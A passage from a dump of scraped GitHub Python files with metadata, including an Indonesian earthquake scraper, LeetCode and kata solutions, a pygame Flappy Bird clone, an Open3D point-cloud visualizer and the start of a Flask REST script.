0\r\n mag = None\r\n dalam = None\r\n koordinat = None\r\n lokasi = None\r\n ket = None\r\n\r\n for i in result:\r\n # print(j,i)\r\n if j == 1:\r\n mag = i.text\r\n elif j == 2:\r\n dalam = i.text\r\n elif j ==3:\r\n koordinat = i.text.split(' - ')\r\n ls = koordinat[0]\r\n bt = koordinat[1]\r\n elif j == 4:\r\n lokasi = i.text\r\n elif j ==5:\r\n ket = i.text\r\n j = j +1\r\n\r\n title = soup.find('title')\r\n tanggal = soup.find('span',{'class': 'waktu'})\r\n waktu = tanggal.text.split(', ')[1]\r\n # mag = soup.find('ul',{'class': 'list-unstyled'})\r\n print(title.string)\r\n print(\"\\n===========================================\\n\")\r\n\r\n\r\n\r\n hasil = dict()\r\n hasil['tanggal'] = tanggal.text\r\n hasil['waktu'] = waktu\r\n hasil['mag'] = mag\r\n hasil['kedalaman'] = dalam\r\n hasil['koordinat'] = {'ls': ls, 'bt': bt}\r\n hasil['lokasi'] = lokasi\r\n hasil['dirasakan'] = ket\r\n\r\n self.result = hasil\r\n print(\"=================================\")\r\n else:\r\n return None\r\n\r\n\r\n def tampilkan_data(self):\r\n if self.result is None :\r\n print(\"tidak bisa menemukan data apapun\")\r\n return\r\n\r\n print(\"gempa berdasarkan bmkg\")\r\n print(f'tanggal \\t : {self.result[\"tanggal\"]}')\r\n print(f'waktu \\t\\t : {self.result[\"waktu\"]}')\r\n print(f'magnitudo \\t : {self.result[\"mag\"]}')\r\n print(f'kedalaman \\t : {self.result[\"kedalaman\"]}')\r\n print(f'koordinat \\t : LS : {self.result[\"koordinat\"][\"ls\"]}, BT: {self.result[\"koordinat\"][\"bt\"]}')\r\n print(f'lokasi \\t\\t : {self.result[\"lokasi\"]}')\r\n print(f'ket \\t\\t : {self.result[\"dirasakan\"]}')\r\n\r\nclass BanjirTerkini(Bencana):\r\n\r\n def tampilkan_data(self):\r\n if self.result is None:\r\n print(f\"BANJIR | data banjir terkini di Indonesia\")\r\n\r\n def keterangan(self):\r\n print(f\"Info mengenai banjir : {self.description}\")\r\n def __init__(self, url):\r\n super(BanjirTerkini, self).__init__(url, \"NOT YET IMPLEMENTED\")\r\n\r\nif __name__ == '__main__':\r\n\r\n gempa_di_indonesia = GempaTerkini('https://www.bmkg.go.id/')\r\n gempa_di_indonesia.keterangan()\r\n # print(f\"\\ndeskripsi : {gempa_di_indonesia.description}\\n\")\r\n gempa_di_indonesia.run()\r\n\r\n banjir_di_indonesia = BanjirTerkini('NOT YET')\r\n banjir_di_indonesia.keterangan()\r\n # print(f\"\\ndeskripsi : {banjir_di_indonesia.description}\")\r\n banjir_di_indonesia.run()\r\n\r\n daftar_bencana = [gempa_di_indonesia, banjir_di_indonesia]\r\n print(\"\\nsemua bencana yang ada =================\")\r\n for Bencana in daftar_bencana :\r\n Bencana.keterangan()\r\n\r\n\r\n\r\n","repo_name":"mataram-kingdom/indonesian-earthquake-update","sub_path":"deteksi_gempa/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4416,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"70135420403","text":"# https://leetcode.com/problems/convert-sorted-array-to-binary-search-tree/\n# Given an integer array nums where the elements are sorted in ascending order,\n# convert it to a height-balanced binary search tree.\n# A height-balanced binary tree is a binary tree\n# in which the depth of the two subtrees of every node never differs by more than one.\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\n\nclass Solution(object):\n def __init__(self):\n self.root = None\n\n # Just for printing our tree, so we can see what we are doing\n def traverse_preorder(self, current_node, print_list):\n print_list.append(current_node.val)\n if current_node.left is not None:\n self.traverse_preorder(current_node.left, print_list)\n if current_node.right is not None:\n self.traverse_preorder(current_node.right, print_list)\n return print_list\n\n def sorted_array_to_bst(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: TreeNode\n \"\"\"\n if len(nums) > 0:\n middle = len(nums) // 2\n root = TreeNode(nums[middle])\n\n left = nums[:middle]\n right = nums[middle + 1:]\n\n root.left = self.sorted_array_to_bst(left)\n root.right = self.sorted_array_to_bst(right)\n\n return root\n else:\n return None\n\n\nsolution = Solution()\ntree_root = solution.sorted_array_to_bst([-10, -3, 0, 5, 9])\nprint(solution.traverse_preorder(tree_root, []))\n\nsolution = Solution()\ntree_root = solution.sorted_array_to_bst([1, 3])\nprint(solution.traverse_preorder(tree_root, []))\n\nsolution = Solution()\ntree_root = solution.sorted_array_to_bst([0, 1, 2, 3, 4, 5])\nprint(solution.traverse_preorder(tree_root, []))\n","repo_name":"jiriVFX/data_structures_and_algorithms","sub_path":"interview_problems/convert_sorted_array_to_binary_search_tree.py","file_name":"convert_sorted_array_to_binary_search_tree.py","file_ext":"py","file_size_in_byte":1887,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"27299692907","text":"import logging\n\nfrom .dataset_handler import DatasetHandler\nfrom middleware.entry import DataVentilatorMiddleware\n\n\nclass DataVentilator:\n\n def __init__(self, ventilator_endpoint_1, ventilator_endpoint_2, ventilator_endpoint_3, dispatcher_ready_endpoint, dataset_dir):\n self.logger = logging.getLogger(\"DataVentilator\")\n self.dataset_dir = dataset_dir\n self.conn = DataVentilatorMiddleware(ventilator_endpoint_1, ventilator_endpoint_2, ventilator_endpoint_3, dispatcher_ready_endpoint)\n\n def start(self):\n self.logger.debug(\"Waiting for dispatchers\")\n self.conn.wait_for_dispatchers()\n\n self.logger.debug(\"Sending data to dispatchers\")\n set_handler = DatasetHandler(self.dataset_dir)\n\n shotlogs = set_handler.get_shotlogs()\n for log in shotlogs:\n self.logger.debug(\"Reading shotlog: %s\", log)\n with open(log, \"r\") as file:\n header = file.readline()\n line = file.readline()\n while line:\n self.logger.debug(\"Read line: %s\", line)\n self.conn.send_shotlog(line)\n line = file.readline()\n\n self.conn.close()\n","repo_name":"aibarbetta/nba-stats","sub_path":"entry_point/data_ventilator.py","file_name":"data_ventilator.py","file_ext":"py","file_size_in_byte":1202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5979611011","text":"'''\n-locate the data folder\n-list all filenames\n\n-create an empty dictionary\n-find the full paths by merging data folder path and filenames for all filenames and add this list to dictionary key \"image_paths\"\n-find the all labels from filenames by deleting .png part. And add this list to dictionary key \"labels\"\n-convert dictionary to dataframe using pandas\n-convert df to csv file using .to_csv\n\n\n'''\nimport os\nimport pandas as pd\nDATA_FOLDER = './data/'\nall_file_names_in_data_folder = sorted(os.listdir(DATA_FOLDER))\nprint(all_file_names_in_data_folder)\n\n\na= [DATA_FOLDER + str(x) for x in all_file_names_in_data_folder]\nprint(a)\n\nb=[str(x)[:-4] for x in all_file_names_in_data_folder]\nprint(b)\n\ncaptcha = { \"image_file_paths\": a ,\n \"labels\": b\n\n}\n\ndf=pd.DataFrame(captcha, columns=[\"image_file_paths\", \"labels\"])\ndf.to_csv(\"data_csv\")\n\n\n# './data/226md.png'\n# 226md\n\n\n\n\n","repo_name":"karaposu/CAPTCHA-OCR-Using-LSTM-CNN-CTCLOSS","sub_path":"csv_creator.py","file_name":"csv_creator.py","file_ext":"py","file_size_in_byte":886,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"34442447210","text":"import SquatchOS\n\ndef find () :\n\n\tprint ('\\nSquatchOS : Finding Origin')\n\n\tfile = './SquatchOS/state/origin'\n\thandle = ''\n\n\ttry :\n\t\thandle = open ( file , 'rt' )\n\texcept :\n\t\tprint ('\\nSquatchOS : Incorrect Working Directory')\n\t\tSquatchOS.stop ()\n\n\tif handle :\n\t\tprint(f'\\nSquatchOS : {handle.readline().strip()}')\n\t\thandle.close()\n","repo_name":"IanDLacy/SquatchBot","sub_path":"SquatchBot/SquatchOS/origin.py","file_name":"origin.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"28517415559","text":"\"\"\"\nWrite a program that will calculate the number of trailing zeros in a factorial of a given number.\n\nN! = 1 * 2 * 3 * ... * N\n\nBe careful 1000! has 2568 digits...\nHint: You're not meant to calculate the factorial. Find another way to find the number of zeros.\n\"\"\"\nimport functools\n\n\ndef zeros(n):\n \"\"\"\n Each multiple of 5 adds a 0, so first we count how many multiples of 5 are\n smaller than `n` (`n // 5`).\n\n Each multiple of 25 adds two 0's, so next we add another 0 for each multiple\n of 25 smaller than n.\n\n We continue on for all powers of 5 smaller than (or equal to) n.\n \"\"\"\n pow_of_5 = 5\n zeros = 0\n\n while n >= pow_of_5:\n zeros += n // pow_of_5\n pow_of_5 *= 5\n\n return zeros\n\n\n\nprint(zeros(100))\n","repo_name":"SamuelNw/Python-Challenges","sub_path":"codewars/trailing_zeros.py","file_name":"trailing_zeros.py","file_ext":"py","file_size_in_byte":779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"15005359906","text":"import math\nfrom random import random\n\nfrom Pruebas import pSeries, pDistancias, pPoker\nfrom chi_cuadrado import chi_cuadrado\nfrom kolmogorov import kolmogorov\n\nprint(\"=== EVALUACIÓN DE PRUEBAS ESTADÍSTICAS ===\")\n\n\ndef get_total_numeros():\n while (True):\n n = int(input(\"Ingresa el total de numeros a generar: \"))\n if n < 34:\n print('El total de numeros generados debe ser mayor o igual a 34')\n else:\n break\n\n return n\n\n\ndef generar_numeros(total_numeros):\n numeros_aleatorios = []\n\n for i in range(total_numeros):\n numero = random()\n numero_trunc = math.trunc(numero * 100000) / float(100000)\n numeros_aleatorios.append(numero_trunc)\n\n return numeros_aleatorios\n\n\ndef seleccionar_prueba(numeros_aleatorios):\n while True:\n print('')\n print('¿Qué prueba quieres aplicar?')\n print('')\n print('1. Chi2')\n print('2. Kolmogorov')\n print('3. Series')\n print('4. Distancias o Huecos')\n print('5. Poker')\n print('6. Salir')\n print('')\n\n opcion = int(input('Selecciona una opción: '))\n\n if opcion == 6:\n print('BYE!')\n break\n\n if opcion not in range(1, 6):\n print('¡Selecciona una opción valida!')\n continue\n\n porcentaje = seleccionar_porcentaje_fallo()\n\n if opcion == 1:\n chi_cuadrado(numeros_aleatorios, porcentaje)\n elif opcion == 2:\n kolmogorov(numeros_aleatorios, porcentaje)\n elif opcion == 3:\n pSeries(numeros_aleatorios, porcentaje)\n elif opcion == 4:\n pDistancias(numeros_aleatorios, porcentaje, 0.3, 0.6)\n elif opcion == 5:\n pPoker(numeros_aleatorios, porcentaje)\n\n\ndef seleccionar_porcentaje_fallo():\n while True:\n print('')\n print('¿Qué porcentaje de fallo quieres aplicar?')\n print('')\n print('1. 5%')\n print('2. 10%')\n print('')\n\n opcion = int(input('Selecciona una opción: '))\n\n if opcion == 1:\n return 0.05\n elif opcion == 2:\n return 0.1\n else:\n print('¡Selecciona una opción valida!')\n\n\ntotal_numeros = get_total_numeros()\nnumeros_aleatorios = generar_numeros(total_numeros)\nseleccionar_prueba(numeros_aleatorios)\n","repo_name":"emilianohg/pruebas-estadisticas","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2354,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"10818856323","text":"import pygame\nimport random\nimport math\n\n# Size of Game\nWINDOW_HEIGHT = 800\nWINDOW_WIDTH = int(WINDOW_HEIGHT / 1.5)\n\n# Pipes\nNUM_PIPES = 3\nPIPE_GAP = 75\nPIPE_DISTANCE = int(WINDOW_WIDTH * 0.6)\nPIPE_WIDTH = int(WINDOW_WIDTH / 6)\npipeX = []\npipeOffset = []\npipeVelocity = 1\nbottomPipes = []\ntopPipes = []\n\n# Size of bird\nBIRD_RADIUS = 20\n\n# Movement of bird\nBIRD_X = int(WINDOW_WIDTH / 2 - BIRD_RADIUS / 2)\nbird_y = int(WINDOW_HEIGHT / 2 - BIRD_RADIUS / 2)\nGRAVITY = 0.2\nbird_velocity = 0\nscore = 0\nscoringTube = 0\n\n\ndef getRandGap():\n toReturn = int((random.random() - 0.5) * 0.75 * WINDOW_HEIGHT)\n return toReturn\n\n\ndef collision(rleft, rtop, width, height, # rectangle definition\n center_x, center_y, radius): # circle definition\n\n # complete boundbox of the rectangle\n rright, rbottom = rleft + width, rtop + height\n\n # bounding box of the circle\n cleft, ctop = center_x - radius, center_y - radius\n cright, cbottom = center_x + radius, center_y + radius\n\n # trivial reject if bounding boxes do not intersect\n if rright < cleft or rleft > cright or rbottom < ctop or rtop > cbottom:\n return False # no collision possible\n\n # check whether any point of rectangle is inside circle's radius\n for x in (rleft, rleft + width):\n for y in (rtop, rtop + height):\n # compare distance between circle's center point and each point of\n # the rectangle with the circle's radius\n if math.hypot(x - center_x, y - center_y) <= radius * 2:\n return True # collision detected\n\n # check if center of circle is inside rectangle\n if rleft <= center_x <= rright and rtop <= center_y <= rbottom:\n return True # overlaid\n\n return False # no collision detected\n\n\n# On Creation\npygame.init()\nscreen = pygame.display.set_mode([WINDOW_WIDTH, WINDOW_HEIGHT])\nrunning = True\n\nfor i in range(0, NUM_PIPES):\n pipeX.append(WINDOW_WIDTH + i * PIPE_DISTANCE)\n pipeOffset.append(0)\n bottomPipes.append(pygame.rect)\n topPipes.append(pygame.rect)\n pipeOffset.append(getRandGap())\n\n# Game loop\nwhile running:\n # If player quits game\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n if event.type == pygame.KEYDOWN:\n bird_velocity = -6\n\n # update pipe x positions\n for i in range(0, NUM_PIPES):\n pipeX[i] = pipeX[i] - pipeVelocity\n if pipeX[i] < -PIPE_WIDTH:\n pipeX[i] = NUM_PIPES * PIPE_DISTANCE\n pipeOffset[i] = getRandGap()\n\n screen.fill((3, 182, 252)) # draw background\n\n # draw pipes\n for i in range(0, NUM_PIPES):\n bottomPipes[i] = pygame.Rect(pipeX[i], WINDOW_HEIGHT / 2 + PIPE_GAP - pipeOffset[i], PIPE_WIDTH,\n WINDOW_HEIGHT / 2 - PIPE_GAP + pipeOffset[i])\n topPipes[i] = pygame.Rect(pipeX[i], 0, PIPE_WIDTH, WINDOW_HEIGHT / 2 - PIPE_GAP - pipeOffset[i])\n pygame.draw.rect(screen, (0, 255, 0), bottomPipes[i])\n pygame.draw.rect(screen, (0, 255, 0), topPipes[i])\n\n # draw bird\n if bird_y <= WINDOW_HEIGHT or bird_velocity <= 0:\n bird_velocity = bird_velocity + GRAVITY\n bird_y += int(bird_velocity)\n birdCircle = pygame.draw.circle(screen, (255, 0, 0), (BIRD_X, bird_y), BIRD_RADIUS)\n\n # check if point has been scored\n if pipeX[scoringTube] < WINDOW_WIDTH / 2 - PIPE_WIDTH:\n score += 1\n print(\"score: \" + str(score))\n scoringTube += 1\n if scoringTube == NUM_PIPES:\n scoringTube = 0\n\n # Check for collisions\n for i in range(0, NUM_PIPES):\n if collision(bottomPipes[i].left, bottomPipes[i].top, bottomPipes[i].width, bottomPipes[i].height, BIRD_X,\n bird_y, BIRD_RADIUS):\n print(\"Collision with bottom tube\")\n running = False\n if collision(topPipes[i].left, topPipes[i].top, topPipes[i].width, topPipes[i].height, BIRD_X, bird_y,\n BIRD_RADIUS):\n print(\"Collision with top tube\")\n running = False\n\n pygame.display.flip()\n pygame.time.delay(10)\n\nwhile True:\n\n # If player quits game\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n pygame.quit()\n\n screen.fill((3, 182, 252)) # draw background\n\n # draw pipes\n for i in range(0, NUM_PIPES):\n bottomPipes[i] = pygame.Rect(pipeX[i], WINDOW_HEIGHT / 2 + PIPE_GAP - pipeOffset[i], PIPE_WIDTH,\n WINDOW_HEIGHT / 2 - PIPE_GAP + pipeOffset[i])\n topPipes[i] = pygame.Rect(pipeX[i], 0, PIPE_WIDTH, WINDOW_HEIGHT / 2 - PIPE_GAP - pipeOffset[i])\n pygame.draw.rect(screen, (0, 255, 0), bottomPipes[i])\n pygame.draw.rect(screen, (0, 255, 0), topPipes[i])\n\n # draw bird\n birdCircle = pygame.draw.circle(screen, (255, 0, 0), (BIRD_X, bird_y), BIRD_RADIUS)\n\n pygame.display.flip()\n pygame.time.delay(10)\n\npygame.quit()\n","repo_name":"virnarula/FlappyBirdAi","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":4956,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"74198290153","text":"import os\nimport sys\nimport math\nimport random\nimport time\nimport numpy as np\nimport open3d as o3d\nfrom text_3d import text_3d\nfrom calibration import Calibration\nfrom Fusion import get_global_bboxes, custom_draw_geometry\n\n\n\ndef save_view_point(pcd, filename):\n vis = o3d.visualization.Visualizer()\n print(vis)\n vis.create_window()\n vis.create_window(width=540*2, height=540*2, left=5, top=5)\n vis.get_render_option().background_color = np.array([0, 0, 0])\n vis.get_render_option().show_coordinate_frame = False\n vis.get_render_option().point_size = 3\n vis.add_geometry(pcd)\n vis.run() # user changes the view and press \"q\" to terminate\n param = vis.get_view_control().convert_to_pinhole_camera_parameters()\n o3d.io.write_pinhole_camera_parameters(filename, param)\n vis.destroy_window()\n\ndef load_view_point(pcd, filename):\n vis = o3d.visualization.Visualizer()\n vis.create_window()\n ctr = vis.get_view_control()\n param = o3d.io.read_pinhole_camera_parameters(filename)\n vis.add_geometry(pcd)\n ctr.convert_from_pinhole_camera_parameters(param)\n vis.run()\n vis.destroy_window()\n\ndef _read_imageset_file(path):\n with open(path, 'r') as f:\n lines = f.readlines()\n return [\"{:010d}.txt\".format(int(line[:-5])) for line in lines]\n\ndef get_label(label_path):\n try:\n try:\n label = np.loadtxt(label_path, dtype='str',\n delimiter=' ').reshape((-1, 16))\n except:\n label = np.loadtxt(label_path, dtype='str',\n delimiter=' ').reshape((-1, 15))\n except OSError:\n label = []\n return label\n\ndef get_bboxes(labels, calib, color=[0.5,0.5,0.5], pre=False,pcd=None,path=None):\n bboxes = []\n for label in labels:\n if not pre:\n if label[0] != 'Car' or float(label[-1]) < -1.5 :\n continue\n else:\n\n if label[0] != 'Car' or float(label[-1]) < -1 :\n continue\n bbox_center = np.array(list(map(float,label[11:14]))).reshape(1,3) - np.array([0,float(label[8]),0]) / 2\n distance = float(label[13])\n bbox_center = calib.rect_to_lidar(bbox_center).flatten()\n bbox_R = o3d.geometry.get_rotation_matrix_from_xyz (np.array([0,0,-np.pi/2-float(label[14])]))\n bbox_extend = np.array(list(map(float,label[8:11]))[::-1]) \n bbox = o3d.geometry.OrientedBoundingBox(bbox_center,bbox_R,bbox_extend)\n lineset = o3d.geometry.LineSet.create_from_oriented_bounding_box(bbox)\n lineset.paint_uniform_color(np.array(color))\n bboxes.append(lineset)\n if pcd:\n tmp2 = pcd[0].crop(bbox)\n size = 0\n print(distance)\n if len(tmp2.points) + distance < 250:\n size = 1\n if len(tmp2.points) + distance < 125:\n size = 2\n label[2] = size\n if path:\n if not os.path.exists(path[:-14]):\n os.makedirs(path[:-14])\n np.savetxt(path, np.array(labels), fmt='%s', delimiter=' ')\n return bboxes\n\nfrom visualization_labels import get_fov_flag\ndef get_pcd(pointcloud, calib, img_shape=[1242,375]):\n pcd = o3d.geometry.PointCloud()\n pts_rect = calib.lidar_to_rect(pointcloud[:, :3])\n fov_flag = get_fov_flag(pts_rect, img_shape, calib)\n # points = pointcloud[fov_flag][:,:3]\n pcd.points = o3d.utility.Vector3dVector(pointcloud[:,:3])\n # pcd.paint_uniform_color([1,1,1])\n # pcd.paint_uniform_color([0,0,0])\n return [pcd]\n\ndef custom_draw_geometry(vis, geometry_list, map_file=None, recording=False,param='nb.json'):\n vis.clear_geometries()\n for geometry in geometry_list:\n R = o3d.geometry.get_rotation_matrix_from_xyz(np.array([0,0,np.pi/2]))\n geometry.rotate(R,center=[0,0,0])\n\n paper = True\n from testo3d import get_strong\n if paper:\n geometry = get_strong([geometry])\n for g in geometry:\n vis.add_geometry(g)\n else:\n vis.add_geometry(geometry)\n param = o3d.io.read_pinhole_camera_parameters(param)\n ctr = vis.get_view_control()\n # ctr.set_zoom(0.4)\n ctr.convert_from_pinhole_camera_parameters(param)\n vis.run()\n # param = vis.get_view_control().convert_to_pinhole_camera_parameters()\n # o3d.io.write_pinhole_camera_parameters('test.json', param)\n if recording:\n vis.capture_screen_image(map_file,True)\n\nif __name__ == \"__main__\":\n color = [\n [0.1, 0.9, 0.9],\n [0.1, 0.9, 0.1],\n [0.9, 0.1, 0.1],\n [0.9, 0.9, 0.1],\n [0.9, 0.1, 0.9],\n [0.9, 0.9, 0.9],\n ]\n\n visualization_3d = True\n vis = o3d.visualization.Visualizer()\n vis.create_window(width=540*2, height=540*2, left=5, top=5)\n vis.get_render_option().background_color = np.array([0., 0., 0.])\n vis.get_render_option().show_coordinate_frame = False\n vis.get_render_option().point_size = 2\n vis.get_render_option().line_width = 10.0\n # # vis.get_render_option().point_color_option = o3d.visualization.PointColorOption.YCoordinate\n mesh = o3d.geometry.TriangleMesh.create_coordinate_frame(size=10)\n\n root_path = sys.argv[1]\n gt_split_file = root_path + '/img_list.txt'\n figure_root = root_path + '/video/federated/'\n if not os.path.exists(figure_root):\n os.makedirs(figure_root)\n vehicle_list = [v for v in os.listdir(root_path) if 'vehicle' in v]\n frame_id_list = _read_imageset_file(gt_split_file)\n\n tmp_car = ['231','237','233','247']\n for vehicle_id in vehicle_list:\n for frame_id in frame_id_list:\n # if '8449' not in frame_id or '595' not in vehicle_id:\n # continue\n # print(frame_id)\n if not os.path.exists(figure_root+vehicle_id):\n os.makedirs(figure_root+vehicle_id)\n figure_file = figure_root + vehicle_id + '/' + frame_id[:-3] + 'png'\n gt_file = root_path + '/' + vehicle_id + '/label00/' + frame_id\n pcd_file = root_path + '/' + vehicle_id + '/velodyne/' + frame_id[:-3] + 'bin'\n calib_file = root_path + '/' + vehicle_id + '/calib00/' + frame_id\n # # pretrain_file = root_path + '/' + vehicle_id + '/federated_test/' + frame_id\n\n # pretrain_file_ = root_path[:-1] + '/' + vehicle_id + '/federated_test_fusion/' + frame_id\n # # pretrain_file = root_path + '/' + vehicle_id + '/federated_test/' + frame_id\n # pretrain_fusion = root_path + '/dynamic/pretrain_test_fusion/' + vehicle_id + '/' + frame_id\n # pretrain_fusion_file = root_path + '/' + vehicle_id + '/federated_test/' + frame_id \n calib = Calibration(calib_file)\n pcd = get_pcd(np.fromfile(pcd_file, dtype=np.dtype('f4'), count=-1).reshape([-1, 4]), calib)\n # gt_label,pretrain_label,pretrain_fusion_label = get_label(gt_file),get_label(pretrain_file),get_label(pretrain_fusion_file)\n gt_label = get_label(gt_file)\n print(len(gt_label))\n gt_bbox = get_bboxes(gt_label,calib,[1.,1.,1.])\n # pretrain_bbox = get_bboxes(pretrain_label,calib,[0.4,0.4,0.4],True,pcd,pretrain_file_)\n # # print(pretrain_file)\n # pretrain_fusion_bbox = get_bboxes(pretrain_fusion_label,calib,[0.7,0.7,0.7])\n # # print(pretrain_fusion_file)\n # mesh = o3d.geometry.TriangleMesh.create_coordinate_frame(size=10)\n # geometry_list = [mesh] + pcd + gt_bbox + pretrain_fusion_bbox# + pretrain_fusion_bbox\n geometry_list = pcd + gt_bbox# + pretrain_bbox + pretrain_fusion_bbox\n # save_view_point(pcd[0],'nb.json')\n # print(figure_file)\n custom_draw_geometry(vis,geometry_list,figure_file,True)\n # exit()\n # ego_point_cloud, color[index], ego_location, fusion_rotation, location[index], calib, fusion_location)\n # ego_gt_bboxes,_ = get_ego_bboxes(get_ego_data(\n # ego_label_file), ego_location, ego_rotation, calib, image_location=location[index],fusion=fusion,ROI=ROI,fusion_location=fusion_location,fusion_rotation=fusion_rotation,ego_vehicle_data=ego_vehicle_data)\n # ego_bboxes,_ = get_ego_bboxes(get_ego_data(\n # ego_data_file), ego_location, ego_rotation, calib, color=color[index], image_location=location[index],fusion=fusion,ROI=ROI,fusion_location=fusion_location,fusion_rotation=fusion_rotation,ego_vehicle_data=ego_vehicle_data)\n # # print(len(ego_gt_bboxes))\n # geometry_list += ego_bboxes + ego_gt_bboxes\n # # image_path = \n # custom_draw_geometry(vis, geometry_list, map_file, True,'test.json')\n # exit()\n","repo_name":"zijianzhang/CARLA_INVS","sub_path":"fusion/Visualization_local.py","file_name":"Visualization_local.py","file_ext":"py","file_size_in_byte":8709,"program_lang":"python","lang":"en","doc_type":"code","stars":58,"dataset":"github-code","pt":"72"} +{"seq_id":"1296904620","text":"class Solution:\n def strStr(self, haystack, needle):\n \"\"\"\n :type haystack: str\n :type needle: str\n :rtype: int\n \"\"\"\n n = len(needle)\n if n == 0:\n return 0\n\n start = 0\n end = len(haystack) - 1\n\n ret = -1\n\n while (end - start) > (n - 2):\n left = haystack[start]\n right = haystack[end]\n if left != needle[0]:\n start += 1\n if right != needle[n-1]:\n end -= 1\n\n if left == needle[0] and right == needle[n-1]:\n remains = n - 2\n if remains == 0:\n return start\n\n match = True\n ret = start\n for i in range(1, remains+1):\n start += 1\n if haystack[start] != needle[i]:\n match = False\n ret = -1\n break\n\n if match == True and (end-start) == 1:\n break\n\n end -= 1\n\n return ret\n\n\ndef stringToString(input):\n import json\n\n return json.loads(input)\n\n\ndef main():\n import sys\n import io\n def readlines():\n for line in io.TextIOWrapper(sys.stdin.buffer, encoding='utf-8'):\n yield line.strip('\\n')\n\n lines = readlines()\n while True:\n try:\n line = next(lines)\n haystack = stringToString(line);\n line = next(lines)\n needle = stringToString(line);\n\n ret = Solution().strStr(haystack, needle)\n\n out = str(ret);\n print(out)\n except StopIteration:\n break\n\n\nif __name__ == '__main__':\n main()","repo_name":"samguns/leetcode","sub_path":"028-ImplementIndexOf/python/str_str.py","file_name":"str_str.py","file_ext":"py","file_size_in_byte":1740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"74011930154","text":"from ProxyPool.proxy_crawl import *\n\ndef get_proxy_txt(proxy_source: list):\n with open('proxy.txt', 'w+', encoding='utf-8') as f:\n for ele in proxy_source:\n f.write(ele + \"\\n\")\n\n\nif __name__ == '__main__':\n get_proxy_txt(crawl_xici())\n","repo_name":"ulyyyyyy/GraduationProject_ghh","sub_path":"ProxyPool/create_proxy_txt.py","file_name":"create_proxy_txt.py","file_ext":"py","file_size_in_byte":259,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"1872688355","text":"#importing os and csv in order to read the files\nimport os\nimport csv\n#create empty lists to store data\nMonth_Total=[]\nProfit_Total=[]\nMonthly_Profit_Change=[]\n#translate path taken in terminal to python\ncsvpath= os.path.join('..','PyBank','Resources','budget_data.csv')\n#Read the csv file\nwith open(csvpath, 'r') as budget_data:\n \n csvreader= csv.reader(budget_data, delimiter=',')\n#skipping the header so you may only iterate through the data\n header= next(csvreader)\n\n#looping through rows to assign Month list and Profit list\n#append directly into empty lists we have previously created\n for column in csvreader:\n Month_Total.append(column[0])\n Profit_Total.append(int(column[1]))\n#iterate through the lenghth of the Profit Total index, but -1 to include the upper bound\n for mp in range(len(Profit_Total)-1):\n#create equation to find the difference in monthly profits (i.e current month profit - last months profit)\n Monthly_Profit_Change.append(Profit_Total[mp+1]-Profit_Total[mp])\n#Finding the maximum and minimums of the monthly profit changes\nmaximum_profit= max(Monthly_Profit_Change)\nminimum_profit= min(Monthly_Profit_Change)\n\n#CORELATE MAX AND MIN W MONTHS\n#Add 1 because it is referring to the next month\nmaximum_month = Monthly_Profit_Change.index(maximum_profit)+1\nminimum_month= Monthly_Profit_Change.index(minimum_profit)+1\n \n#create varaibles for the equations to simplify print statements\nprint_total= len(Month_Total)\nprint_sum= sum(Profit_Total)\nprint_difference= sum(Monthly_Profit_Change)/len(Monthly_Profit_Change)\n\n#Print the text\nprint(\"Financial Analysis\")\nprint(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\")\n#Print total amount of months using the length function\nprint(f\"Total Months: {print_total}\")\n#Print total Profit using sum function\nprint(f\"Total: ${print_sum}\")\n#finding the average monthly profit difference\nprint(f\"Average Change: ${print_difference}\")\nprint(f'Greatest Increase in Profits: {Month_Total[maximum_month]} ${(maximum_profit)}')\nprint(f'Greatest Decrease in Profits: {Month_Total[minimum_month]} ${(minimum_profit)}')\n\n\n\n#export your results\nresults_file= os.path.join('analysis','budget_data_results.txt.')\n#do NOT forget :\nwith open (results_file, \"w\") as text:\n#Write results into text file\n text.write(\"Financial Analysis\")\n text.write('\\n')\n text.write(\"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\")\n text.write('\\n')\n text.write(f\"Total Months: {len(Month_Total)}\")\n text.write('\\n')\n text.write(f\"Total: $ {sum(Profit_Total)}\")\n text.write('\\n')\n text.write(f\"Average Change: ${sum(Monthly_Profit_Change)/len(Monthly_Profit_Change)}\")\n text.write('\\n')\n text.write(f'Greatest Increase in Profits: {Month_Total[maximum_month]} ${(maximum_profit)}')\n text.write('\\n')\n text.write(f' Greatest Decrease in Profits: {Month_Total[minimum_month]} ${(minimum_profit)}')\n lines=text.write\n print(lines)\n","repo_name":"mmgrayy/python-challenge","sub_path":"PyBank/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2925,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"31340729224","text":"#!/bin/python3\n###################################################\n#Guaranteed Rate Dev Homework\n#REST Portion\n#Mike Thoma 11/11/2018\n###################################################\n#from ingest import print_output\nimport re\nimport json\nfrom flask import Flask, request, jsonify, Response\nfrom flask_restful import Resource, Api\nfrom processdata import process_input, get_order_dob, 